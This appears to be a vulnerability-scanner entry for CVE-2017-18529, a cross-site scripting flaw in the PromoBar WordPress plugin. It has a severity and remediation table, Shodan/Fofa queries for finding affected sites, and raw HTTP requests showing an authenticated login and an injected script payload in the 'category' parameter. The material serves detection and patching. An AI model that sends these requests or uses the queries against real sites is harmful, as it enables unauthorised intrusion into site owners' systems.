| Title | PromoBar by BestWebSoft < 1.1.1 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to version 1.1.1 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00059 |
| CVE ID | CVE-2017-18529 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/promobar/ |
| Fofa Query | body=/wp-content/plugins/promobar/ |
| Tags | cve cve2017 wordpress wp-plugin bws-promobar wpscan xss authenticated bestwebsoft vuln |
The promobar plugin before 1.1.1 for WordPress has multiple XSS issues.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=Ulh1Am&pwd=mGGlPe&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/promobar/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18529.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-18529.pcap
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